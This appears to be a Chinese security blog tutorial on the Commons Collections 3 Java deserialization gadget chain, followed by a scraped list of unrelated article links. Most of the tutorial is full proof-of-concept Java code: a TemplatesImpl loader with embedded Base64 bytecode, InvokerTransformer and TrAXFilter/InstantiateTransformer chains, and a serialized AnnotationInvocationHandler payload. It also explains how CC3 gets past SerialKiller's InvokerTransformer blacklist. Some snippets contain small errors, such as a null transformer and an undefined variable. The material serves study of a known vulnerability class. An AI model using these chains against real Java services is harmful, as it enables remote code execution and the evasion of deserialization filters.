Java安全之CC3
前言
上一篇文章学习了Java中加载字节码的⼀些⽅法,其中介绍了TemplatesImpl,TemplatesImpl 是⼀个可以加载字节码的类,通过调⽤其newTransformer()⽅法,即可执⾏这段字节码的类构造器。
分析
在CC1中,我们说可以利⽤TransformedMap执⾏任意Java⽅法;
public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"C:/Windows/System32/calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}
⽽在Java安全之动态加载字节码中,我们⼜学习了如何利⽤TemplatesImpl执⾏字节码
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +
                "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
                "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +
                "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +
                "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +
                "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +
                "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +
                "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +
                "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +
                "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
                "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
                "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +
                "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +
                "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +
                "DwABABAAAAACABE=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
}
只需要结合这两段POC,即可很容易地改造出⼀个执⾏任意字节码的CommonsCollections利⽤ 链:只需要将第⼀个demo中InvokerTransformer执⾏的“⽅法”改 成 TemplatesImpl::newTransformer() ,即为
Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(obj),
 new InvokerTransformer("newTransformer", null, null)
};
完整POC如下:
public class a {
    public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, Value);
    }
    public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +
                "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
                "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +
                "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +
                "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +
                "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +
                "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +
                "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +
                "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +
                "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
                "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
                "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +
                "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +
                "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +
                "DwABABAAAAACABE=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null, null)
        };
        Transformer chian = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMaP = TransformedMap.decorate(innerMap, null, null);
        outerMaP.put("test", "xxxx");
    }
}
我们来分析一下为什么可以这样构造。
首先在java安全之CC1浅学(1)中,我们了解到CC链其核心原理是InvokerTransformer#transform,可以执行任意方法。
在Java安全之动态加载字节码中我们了解到TemplatesImpl加载字节码的调用链前边TemplatesImpl#newTransformer()
那么我们可以将InvokerTransformer参数由原来的exec()方法换成newTransformer()方法,这样就组成了一条新的链
由于我们这里依旧使用了TransformedMap所以版本依旧限制在8U71之前
成功执行字节码

ysoserial
再来看ysoserial中的CC3,可以发现其中没有使⽤到InvokerTransformer原因是什么呢?

2015年初,@frohoff和@gebl发布了Marshalling Pickles:how deserializing objects will ruin your day,以及反序列化利用工具yaoserial,安全开发者自然会去寻找一种安全的过滤方法,类似SerialKiller这样的工具随之诞生:
SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单

这个⿊名单中InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3。
CommonsCollections3的⽬的很明显,就是为了绕过⼀些规则对InvokerTransformer的限制。 CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个 类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
这个类的构造⽅法中调⽤(TransformerImpl) templates.newTransformer(),免去了我们使⽤InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步

当然,缺少了InvokerTransformer,TrAXFilter的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的Transformer,就是 org.apache.commons.collections.functors.InstantiateTransformer 。InstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法.
目标很明确了,利⽤InstantiateTransformer来调⽤到TrAXFilter的构造⽅法,再利⽤其构造⽅法⾥的templates.newTransformer()调⽤到TemplatesImpl⾥的字节码
构造的Transformer调⽤链如下:
Transformer[] transformers = new Transformer[]{
 					new ConstantTransformer(TrAXFilter.class),
 					new InstantiateTransformer(
 								new Class[] { Templates.class },
 								new Object[] { obj })
 			};
替换到前⾯的demo中,也能成功触发,避免了使⽤InvokerTransformer

接下来,就来构造一个完整的Payload:
public class CC3 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };
        Transformer chain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        setFieldValue(transformerChain, "iTransformers", transformers);
        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        // 本地测试触发
        // System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}
这个POC也有CommonsCollections1⼀样的问题,就是只⽀持Java 8u71及以下版本,我们可以参考Java安全之CC6进行改造让其能通杀Java7和Java8。
Java安全之CC3的更多相关文章
- Spark案例分析
		一.需求:计算网页访问量前三名 import org.apache.spark.rdd.RDD import org.apache.spark.{SparkConf, SparkContext} /* ... 
- Java算法之递归打破及在真实项目中的使用实例
		开心一笑 刚才领导问开发:"你觉得这个项目的最大风险是什么",开发说:"加班猝死" , 气氛尴尬了一分钟!!! 提出问题 1.递归算法简单复习 2.如何实现递归 ... 
- Java基础の第二弹 基础语法
		Java关键字 • abstract:表明类或类中的方法是抽象的:• boolean:基本数据类型之一,布尔类型:• break:提前跳出一个块:• byte:基本数据类型之一,字节类型:• ... 
- java基础知识回顾之javaIO类--RandomAccessFile类
		java.io 类 RandomAccessFile java.lang.Object java.io.RandomAccessFile1.该类不是IO流中的子类.2.该类既能读又能写.3.该对象内部 ... 
- java泛型 之 入门(interface)
		一:泛型简单介绍: (1)所谓泛型,就是变量类型的參数化. 泛型是JDK1.5中一个最重要的特征.通过引入泛型,我们将获得编译时类型的安全和执行时更小的抛出ClassCastException的可能. ... 
- 详谈JAVA中的file类与IO流
		File类 位置于java.io包构造方法:File(String parent, String child)new file("d:\\","a.txt") ... 
- java中的反射整理
		1,什么是反射 反射机制是java语言提供的一种基础功能,它能够赋予成语在运行时进行自省的能力.通过反射我们可以直接操作类或者对象,例如:可以通过反射去获取某个对象的类的定义,属性,方法,还可以修改类 ... 
- Java【第八篇】面向对象之高级类特性
		static 关键字 当我们编写一个类时,其实就是在描述其对象的属性和行为,而并没有产生实质上的对象,只有通过new关键字才会产生出对象,这时系统才会分配内存空间给对象,其方法才可以供外部调用.我们有 ... 
- java反序列化-ysoserial-调试分析总结篇(4)
		1.前言 这篇文章继续分析commoncollections4利用链,这篇文章是对cc2的改造,和cc3一样,cc3是对cc1的改造,cc4则是对cc2的改造,里面chained的invoke变成了i ... 
随机推荐
- JZOJ3542冒泡排序
			题面 下面是一段实现冒泡排序算法的C++代码: for (int i=1;i<=n-1;i++) for (int j=1;j<=n-i ;j++) if(a[j]>a[j+1] ... 
- KingbaseES 并行查询
			背景:随着硬件技术的提升,磁盘的IO能力及CPU的运算能力都得到了极大的增强,如何充分利用硬件资源为运算加速,是数据库设计过程中必须考虑的问题.数据库是IO和CPU密集型的软件,大规模的数据访问需要大 ... 
- 【面试题】JS改变this指向的三种方法
			一.this指向 点击打开视频讲解更加详细 this随处可见,一般谁调用,this就指向谁.this在不同环境下,不同作用下,表现的也不同. 以下几种情况,this都是指向window 1.全局作用下 ... 
- typora收费了,最后一个免费版提供下载
			typora收费了,在这里,博主提供最后一个免费版下载,地址如下,顺便把typora导入和导出word时需要的工具也一同提供.最看不惯免费用着别人的软件,还搞引流的垃圾网站和公众号.地址如下 http ... 
- 基于 OpenTelemetry 的链路追踪
			链路追踪的前世今生 分布式跟踪(也称为分布式请求跟踪)是一种用于分析和监控应用程序的方法,尤其是使用微服务架构构建的应用程序.分布式跟踪有助于精确定位故障发生的位置以及导致性能差的原因. 起源 链路追 ... 
- kubeoperator 使用外部mysql
			1.导出 kubeoperator 的数据库 sql 文件,然后导入到外部mysql 2.正常关闭 kubeoperator 3.关闭 kubeoperator 不会影响已经部署的 k8s 集群 4. ... 
- CentOS7配置nodejs环境
			# 安装 wget https://nodejs.org/dist/v12.18.3/node-v12.18.3-linux-x64.tar.xz tar xf node-v12.18.3-linux ... 
- 创建Grafana Dashboard
			输入表达式,获取数据 但是考虑到多台主机,需要添加变量来选择不同主机,从而出现相应的图表 点击右上角齿轮一样的图标,这个是设置 通过在prometheus界面查询可知,可以设置的变量有两个 考虑到这俩 ... 
- 史上最全的selenium三大等待介绍
			一.强制等待 1.设置完等待后不管有没有找到元素,都会执行等待,等待结束后才会执行下一步 2.实例 driver = webdriver.Chrome() driver.get("https ... 
- 4_爬NMPA药监总局_动态加载_传ID
			http://scxk.nmpa.gov.cn:81/xk/ import requests url = 'http://scxk.nmpa.gov.cn:81/xk/itownet/portalAc ... 
